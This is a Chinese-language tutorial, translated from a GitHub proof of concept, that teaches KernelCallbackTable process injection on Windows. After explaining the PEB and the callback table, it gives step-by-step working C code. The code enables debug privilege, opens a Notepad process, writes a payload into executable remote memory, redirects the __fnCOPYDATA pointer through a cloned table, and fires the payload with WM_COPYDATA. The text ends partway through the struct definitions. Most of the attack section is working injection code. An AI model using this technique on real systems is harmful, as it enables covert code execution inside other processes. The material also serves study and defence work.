21-内核回调表注入(KernelCallbackTable Injection)
参考资料: GitHub - 0xHossam/KernelCallbackTable-Injection-PoC:在进程环境块 (PEB) 中操作内核回调表以执行进程注入和劫持执行流程的概念验证
⚠注意:本人才疏学浅,只针对参考资料进行翻译和补充一下自己的见解。
一、PEB
进程环境块 (PEB) 是 Windows 中每个正在运行的程序都依赖的关键结构。将其视为“控制中心”或“中心”,其中包含有关程序如何运行以及与系统交互的基本信息。PEB 是进程内存空间的一部分,它可以帮助操作系统和程序管理各种内部细节。
在 进程镂空注入(Process Hollowing Injection)
中我们获取了PEB的地址,就可以操纵PEB里的 ImageBaseAddress
这个字段
在 DLL劫持注入(涉及白加黑)
中,我们获取PEB的地址,进一步获取Ldr的地址,从而可以修改进程的已装载模块。
在本节 内核回调表注入(KernelCallbackTable Injection)
中,我们将获取PEB的地址,就可以获取 KernelCallbackTable
这个数据结构的地址。
在后面的 自举的代码幽灵——反射DLL注入(Reflective DLL Injection)
中,我们深入的去使用PEB中的LDR字段,从而获得InMemoryOrderModuleList链表获取dll名称,遍历函数所在的dll导出表获得必要的函数的名称,如果匹配成功就返回目标函数的地址。
使用windbg查看PEB数据结构,我这里调式的是64位的程序,可以看到 KernelCallbackTable
在PEB偏移0x058的位置上。

二、KernelCallbackTable
2.1 介绍
当程序调用USER32.DLL时,KernelCallbackTable
就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息。
KernelCallbackTable
注入可以被用于在远程进程中注入shellcode,KernelCallbackTable
可以在PEB中找到,它被KeUserModeCallback
所使用,内核态调用KeUserModeCallback
就可以在用户态中执行KernelCallbackTable
中对应的函数
此表包含指向处理窗口消息和其他进程间通信的各种回调函数的指针。此表中的每个函数都对应于特定任务,例如处理数据传输消息或管理窗口销毁事件
如果我们可以修改里面的内核回调函数,让其指向我们的shellcode,当收到某一特定Windows消息后,从而调用shellcode,即可完成注入。
KernelCallbackTable
的结构定义
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
用windgb查看内核回调表
首先让windbg
Step Over
十几条命令让它完成初始化查看peb各字段的值,命令:
dt <PEB的地址> ntdll!_PEB
。例如dt 0x000000e22f856000 ntdll!_PEB

查看内核回调表内容
命令:
dps <KernelCallbackTable存放的指针> L20
dps 0x00007ffa `ba2b6000 L20
// L20表示显示前20个四字(160字节)

2.2 分析 Kernel Callback Table 中的函数指针
在内核回调表中,每个条目对应于一个指向回调函数的指针,当收到特定 Windows 消息时,进程可以调用该函数
在内核回调注入中,需要特别关注 _fnCOPYDATA
条目,因为它可以通过消息触发,从而允许在进程之间传递数据,我们可以将其值修改为shellcode
三、通过内核回调表操作进行进程注入
步骤一:启用调试权限
出于测试目的,我需要启用一些调试权限。调试权限允许当前进程访问其他进程的敏感区域,这些区域对于内存读取和写入等任务是必需的。如果没有这些权限,Windows 安全性将限制对其他进程的访问,从而无法注入。
// 功能:启用当前进程的调试权限
void EnableDebugPrivilege()
{
// 打印启用调试权限的信息,使用颜色宏来设置输出样式
printf(COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...\n" COLOR_RESET);
HANDLE hToken; // 进程令牌句柄
TOKEN_PRIVILEGES tkp; // 存储权限信息的结构体
// 打开当前进程的令牌,以便调整权限
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
// 查找调试权限的 LUID(唯一标识符)
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
// 设置权限计数为 1
tkp.PrivilegeCount = 1;
// 设置调试权限的属性为启用
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 调整令牌的权限
AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);
// 关闭令牌句柄
CloseHandle(hToken);
// 打印成功启用调试权限的消息(注释掉的代码)
printf(COLOR_GREEN_BOLD "[+] Debug Privilege enabled.\n" COLOR_RESET );
}
else
{
// 打印失败启用调试权限的消息
printf(COLOR_RED_BOLD "[-] Failed to enable Debug Privilege.\n" COLOR_RESET);
}
}
详细说明
OpenProcessToken 打开当前进程的访问令牌的句柄,该令牌拥有安全权限。
LookupPrivilegeValue 检索权限的本地唯一标识符 (LUID) ,该权限授予进程调试功能。
SE_DEBUG_NAME
AdjustTokenPrivileges 在令牌中设置权限以启用调试权限,从而允许进程对其他进程执行内存操作。
步骤二:加载 NtQueryInformationProcess
NtQueryInformationProcess
函数是一个底层 Windows API 函数,用于访问有关进程的特定信息,包括进程环境块 (PEB)。PEB 包含内核回调表等结构,该表存储指向各种回调函数的指针。此函数必须动态加载,因为它是未导出API函数,通常无法通过标准 Windows 标头访问。
// 功能:加载 NtQueryInformationProcess 函数,并打印加载状态
void LoadNtQueryInformationProcess()
{
// 打印加载信息,使用颜色宏来设置输出样式
printf(COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...\n" COLOR_RESET);
// 获取 ntdll.dll 模块的句柄
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
// 检查 ntdll.dll 是否成功加载
if (hNtdll)
{
// 从 ntdll.dll 中获取 NtQueryInformationProcess 函数的地址
NtQueryInformationProcess = (PFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtQueryInformationProcess");
// 检查函数地址是否成功获取
if (NtQueryInformationProcess)
{
// 打印成功加载的消息,包括函数地址
printf(COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%p\n" COLOR_RESET, NtQueryInformationProcess);
}
else
{
// 打印失败加载的消息
printf(COLOR_RED_BOLD "\t[-] Failed to resolve NtQueryInformationProcess address.\n" COLOR_RESET);
}
}
else
{
// 如果 ntdll.dll 加载失败,打印错误消息
printf(COLOR_RED_BOLD "\t[-] Failed to load ntdll.dll.\n" COLOR_RESET);
}
}
GetModuleHandle 加载到进程中,从而访问其函数。
GetProcAddress 检索的地址,以便以后调用此函数以收集有关目标进程的详细信息。
NtQueryInformationProcess
步骤三:启动 Target 流程
进程注入首先创建一个 Notepad 实例,该实例将用作注入代码的目标。此示例使用 Notepad,因为它是一个简单、众所周知的应用程序,允许对注射过程进行受控测试。
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf(COLOR_YELLOW_BOLD "\t[*] Creating new Notepad process...\n" COLOR_RESET);
if (!CreateProcess(
L"C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to create Notepad process. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Notepad process created successfully. PID: %d\n" COLOR_RESET, pi.dwProcessId);
步骤四:等待进程完成初始化
printf(COLOR_YELLOW_BOLD "\t[*] Waiting for Notepad initialization...\n" COLOR_RESET);
WaitForInputIdle(pi.hProcess, 1000);
步骤五:找到记事本的窗口句柄
HWND hWindow = NULL;
DWORD waitTime = 0;
while (hWindow == NULL && waitTime < MAX_WAIT_TIME)
{
hWindow = FindWindow(L"Notepad", NULL);
if (!hWindow)
{
Sleep(500); // Wait for 500 ms before retrying
waitTime += 500;
}
}
if (!hWindow)
{
printf(COLOR_RED_BOLD "\t[-] Failed to find Notepad window handle after waiting for %d milliseconds.\n" COLOR_RESET, MAX_WAIT_TIME);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Window Handle found: 0x%p\n" COLOR_RESET, hWindow);
FindWindow 按名称搜索记事本的 window 类并找到其句柄。如果找到句柄,则检索关联的进程 ID。
GetWindowThreadProcessId
。为什么我们要找到记事本的窗口句柄的句柄呢?因为内核回调表在这个窗口进程中
步骤六: 获得记事本窗口关联的进程的PID
DWORD pid;
GetWindowThreadProcessId(hWindow, &pid);
printf(COLOR_GREEN_BOLD "\t[+] Process ID: %d\n" COLOR_RESET, pid);
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
pid
);
if (!hProcess)
{
printf(COLOR_RED_BOLD "\t[-] Failed to open target process. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Process Handle: 0x%p\n" COLOR_RESET, hProcess);
步骤七:检索 PEB 地址
NtQueryInformationProcess
用于检索目标进程的 PEB 地址。PEB 包含 Kernel Callback Table,这是此注入技术中修改的重点。
printf(COLOR_YELLOW_BOLD "\t[*] Retrieving PEB Address using NtQueryInformationProcess...\n" COLOR_RESET);
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLength
);
if (status != 0)
{
printf(COLOR_RED_BOLD "\t[-] Failed to query process information. NTSTATUS: 0x%lx\n" COLOR_RESET, status);
return -1;
}
PebBaseAddress = pbi.PebBaseAddress;
printf(COLOR_BLUE_BOLD "\t\t[*] PEB Address: 0x%p\n" COLOR_RESET, PebBaseAddress);
步骤八:读取与目标窗口关联的进程的内核回调表的地址
使用 PEB 地址,代码读取 Kernel Callback Table 的内存地址,从而允许修改此表中的函数指针以控制回调。
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(
hProcess,
(PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
&KernelCallbackTable,
sizeof(PVOID),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_BLUE_BOLD "\t\t[*] KernelCallbackTable Address: 0x%p\n" COLOR_RESET, KernelCallbackTable);
步骤九:将内核回调表所有回调函数指针读到KERNELCALLBACKTABLE结构体中
KERNELCALLBACKTABLE CCC;
if (!ReadProcessMemory(
hProcess,
KernelCallbackTable,
&CCC,
sizeof(CCC),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable structure. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\n\t[+] KernelCallbackTable read successfully. %zu bytes read.\n" COLOR_RESET, bytesRead);
printf(COLOR_BLUE_BOLD "\t\t[*] Dumping KernelCallbackTable structure:\n" COLOR_RESET);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYGLOBALDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYGLOBALDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnDWORD: 0x%p\n" COLOR_RESET, (void*)CCC.__fnDWORD);
步骤十:在远程目标窗口进程中申请一块RWX内存区域并将shellcode写入该区域
有效负载(通常是 shellcode)在目标进程的内存空间内分配。内存标记为 executable 以确保代码可以运行。
printf(COLOR_YELLOW_BOLD "\n\t[*] Allocating remote buffer for payload...\n" COLOR_RESET);
LPVOID remotebuf = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (!remotebuf)
{
printf(COLOR_RED_BOLD "\t[-] Failed to allocate remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
if (!WriteProcessMemory(
hProcess,
remotebuf,
payload,
shellcodeSize,
NULL
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to write payload to remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload written to remote buffer at: 0x%p\n" COLOR_RESET, remotebuf);
步骤十一: 修改 _fnCOPYDATA
函数指针为shellcode
_fnCOPYDATA
函数指针为shellcodeprintf(COLOR_YELLOW_BOLD "\t[*] Modifying __fnCOPYDATA to point to payload...\n" COLOR_RESET);
CCC.__fnCOPYDATA = (ULONG_PTR)remotebuf;
printf(COLOR_BLUE_BOLD "\t\t[*] __fnCOPYDATA now points to: 0x%p\n" COLOR_RESET, remotebuf);
步骤十二: 为修改后的KERNELCALLBACKTABLE申请一块内存区域
printf(COLOR_YELLOW_BOLD "\n\t[*] Cloning modified KernelCallbackTable...\n" COLOR_RESET);
LPVOID cloneCCC = VirtualAllocEx(
hProcess,
NULL,
sizeof(CCC),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if (!cloneCCC)
{
printf(COLOR_RED_BOLD "\t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
if (!WriteProcessMemory(
hProcess,
cloneCCC,
&CCC,
sizeof(CCC),
NULL
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to write cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Cloned KernelCallbackTable written at: 0x%p\n" COLOR_RESET, cloneCCC);
步骤十三: 更新PEB中的KernelCallbackTable指针,使其指向并修改后的内核回调表。
printf(COLOR_YELLOW_BOLD "\t[*] Updating PEB with cloned KernelCallbackTable...\n" COLOR_RESET);
if (!WriteProcessMemory(
hProcess,
(PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
&cloneCCC,
sizeof(PVOID),
&bytesRead
))
{
printf(COLOR_RED_BOLD "\t[-] Failed to update PEB KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] PEB KernelCallbackTable updated successfully!\n" COLOR_RESET);
步骤十四: 发送消息给目标窗口,从而触发执行shellcode
printf(COLOR_YELLOW_BOLD "\t[*] Sending message to trigger the payload...\n" COLOR_RESET);
COPYDATASTRUCT cds;
WCHAR msg[] = L"oneday";
cds.dwData = 1;
cds.cbData = (lstrlenW(msg) + 1) * sizeof(WCHAR);
cds.lpData = msg;
LRESULT result = SendMessage(
hWindow,
WM_COPYDATA,
(WPARAM)hWindow,
(LPARAM)&cds
);
if (result == 0 && GetLastError() != 0)
{
printf(COLOR_RED_BOLD "\t[-] Failed to send message to trigger payload. Error: %d\n" COLOR_RESET, GetLastError());
return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload triggered!\n" COLOR_RESET);
四、完整代码
struct.h
#pragma once
#include <Windows.h>
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef LONG NTSTATUS;
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
typedef struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages : 1; //0x3
UCHAR IsProtectedProcess : 1; //0x3
UCHAR IsImageDynamicallyRelocated : 1; //0x3
UCHAR SkipPatchingUser32Forwarders : 1; //0x3
UCHAR IsPackagedProcess : 1; //0x3
UCHAR IsAppContainer : 1; //0x3
UCHAR IsProtectedProcessLight : 1; //0x3
UCHAR IsLongPathAwareProcess : 1; //0x3
};
};
UCHAR Padding0[4]; //0x4
VOID* Mutant; //0x8
VOID* ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
VOID* SubSystemData; //0x28
VOID* ProcessHeap; //0x30
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
VOID* IFEOKey; //0x48
union
{
ULONG CrossProcessFlags; //0x50
struct
{
ULONG ProcessInJob : 1; //0x50
ULONG ProcessInitializing : 1; //0x50
ULONG ProcessUsingVEH : 1; //0x50
ULONG ProcessUsingVCH : 1; //0x50
ULONG ProcessUsingFTH : 1; //0x50
ULONG ProcessPreviouslyThrottled : 1; //0x50
ULONG ProcessCurrentlyThrottled : 1; //0x50
ULONG ProcessImagesHotPatched : 1; //0x50
ULONG ReservedBits0 : 24; //0x50
};
};
UCHAR Padding1[4]; //0x54
union
{
VOID* KernelCallbackTable; //0x58
VOID* UserSharedInfoPtr; //0x58
};
ULONG SystemReserved; //0x60
ULONG AtlThunkSListPtr32; //0x64
VOID* ApiSetMap; //0x68
ULONG TlsExpansionCounter; //0x70
UCHAR Padding2[4]; //0x74
VOID* TlsBitmap; //0x78
ULONG TlsBitmapBits[2]; //0x80
VOID* ReadOnlySharedMemoryBase; //0x88
VOID* SharedData; //0x90
VOID** ReadOnlyStaticServerData; //0x98
VOID* AnsiCodePageData; //0xa0
VOID* OemCodePageData; //0xa8
VOID* UnicodeCaseTableData; //0xb0
ULONG NumberOfProcessors; //0xb8
ULONG NtGlobalFlag; //0xbc
union _LARGE_INTEGER CriticalSectionTimeout; //0xc0
ULONGLONG HeapSegmentReserve; //0xc8
ULONGLONG HeapSegmentCommit; //0xd0
